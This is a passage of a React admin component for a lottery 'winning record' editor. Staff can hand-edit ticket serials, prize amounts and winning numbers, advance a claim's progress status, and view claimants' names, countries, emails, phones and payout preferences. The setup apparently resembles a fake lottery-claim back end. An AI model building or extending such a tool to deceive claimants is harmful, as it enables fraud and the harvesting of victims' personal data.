                    value={newPassword}
                    onChange={(event) => setNewPassword(event.target.value)}
                    placeholder="Enter new password (optional)"
                    minLength={3}
                  />
                </label>
              </div>
            </div>

            {accountMessage && (
              <div className="account-success" role="status">
                ✓ {accountMessage}
              </div>
            )}
            {accountError && (
              <div className="error-message" role="alert">
                {accountError}
              </div>
            )}

            <button className="submit-button account-save-btn" disabled={accountLoading}>
              {accountLoading ? "Saving settings…" : "Save Settings & Notification Email"}
            </button>
          </form>
        </section>
      )}

      {/* EDIT MODAL DIALOG */}
      {editingEntry && (
        <div className="admin-modal-overlay" onClick={closeEditModal}>
          <div className="admin-modal-card" onClick={(e) => e.stopPropagation()}>
            <button
              type="button"
              className="modal-close-btn"
              onClick={closeEditModal}
              aria-label="Close"
            >
              ✕
            </button>

            <div className="modal-header">
              <div className="flex items-center gap-2 mb-1">
                <PowerballBallIcon size={24} />
                <span className="text-xs font-black uppercase tracking-wider text-amber-700">Edit Winning Record</span>
              </div>
              <h2>Update Winning Numbers & Claim Status</h2>
              <p>Modify numbers, serial, prize amount, or advance the progress of this claim reference.</p>
            </div>

            {editingEntry.claim && (
              <div className="linked-claim-box mb-4">
                <div className="flex items-center justify-between border-b border-blue-200 pb-2 mb-2">
                  <span className="text-xs font-bold text-blue-900">🔗 Linked Claim Reference:</span>
                  <strong className="font-mono text-sm bg-blue-100 text-blue-950 px-2 py-0.5 rounded">
                    {editingEntry.claim.reference}
                  </strong>
                </div>
                <div className="grid grid-cols-2 gap-2 text-xs text-slate-700">
                  <div>Claimant: <b>{editingEntry.claim.claimantName}</b></div>
                  <div>Country: <b>{editingEntry.claim.claimantCountry}</b></div>
                  <div>Email: <b>{editingEntry.claim.claimantEmail}</b></div>
                  <div>Phone: <b>{editingEntry.claim.claimantPhone}</b></div>
                  <div>Payout Preference: <b>{editingEntry.claim.paymentPreference}</b></div>
                  <div>Submitted: <b>{new Date(editingEntry.claim.submittedAt).toLocaleDateString()}</b></div>
                </div>
              </div>
            )}

            <form onSubmit={handleSaveEditedEntry} className="edit-modal-form">
              <div className="grid-2-col">
                <label className="staff-label" htmlFor="editSerialInput">
                  <span>TICKET SERIAL NUMBER</span>
                  <input
                    id="editSerialInput"
                    type="text"
                    value={editSerial}
                    onChange={(e) => setEditSerial(e.target.value.toUpperCase())}
                    required
                  />
                </label>

                <label className="staff-label" htmlFor="editPrizeInput">
                  <span>PRIZE AMOUNT</span>
                  <input
                    id="editPrizeInput"
                    type="text"
                    value={editPrizeAmount}
                    onChange={(e) => setEditPrizeAmount(e.target.value)}
                    required
                  />
                </label>
              </div>

              {/* 6 Number Slots */}
              <div className="custom-numbers-box my-1">
                <span className="custom-box-title">6 WINNING NUMBERS (1-99):</span>
                <div className="admin-num-inputs">
                  {editNumbers.map((val, idx) => (
                    <input
                      key={idx}
                      type="text"
                      inputMode="numeric"
                      maxLength={2}
                      placeholder="00"
                      value={val}
                      onChange={(e) => handleEditNumChange(idx, e.target.value)}
                      className={`admin-box-input ${idx === 5 ? "last-red-box" : ""}`}
                      required
                    />
                  ))}
                </div>
              </div>

              <div className="grid-2-col">
                <label className="staff-label" htmlFor="editDateInput">
                  <span>ISSUE DATE / DRAW DATE</span>
                  <input
                    id="editDateInput"
                    type="date"
                    value={editIssueDate}
                    onChange={(e) => setEditIssueDate(e.target.value)}
                    required
                  />
                </label>

                <label className="staff-label" htmlFor="editStatusSelect">
                  <span>CLAIM PROGRESS STATUS</span>
                  <select
                    id="editStatusSelect"
                    className="text-input-field"
                    value={editStatus}
                    onChange={(e) => setEditStatus(e.target.value)}
                  >
                    {STATUS_OPTIONS.map((opt) => (
                      <option key={opt.value} value={opt.value}>
                        {opt.label}
                      </option>
                    ))}
                  </select>
                </label>
              </div>

              {editError && (
                <div className="error-message" role="alert">
                  {editError}
                </div>
              )}
              {editSuccess && (
                <div className="account-success" role="status">
                  ✓ {editSuccess}
                </div>
              )}

              <div className="flex gap-3 mt-4">
                <button
                  type="button"
                  className="footer-back-btn flex-1"
                  onClick={closeEditModal}
                >
                  Cancel
                </button>
                <button
                  type="submit"
                  className="submit-button flex-1 mt-0"
                  disabled={editLoading}
                >
                  {editLoading ? "Saving Changes…" : "Save & Update Progress"}
                </button>
              </div>
            </form>
          </div>
        </div>
      )}
    </main>
  );
}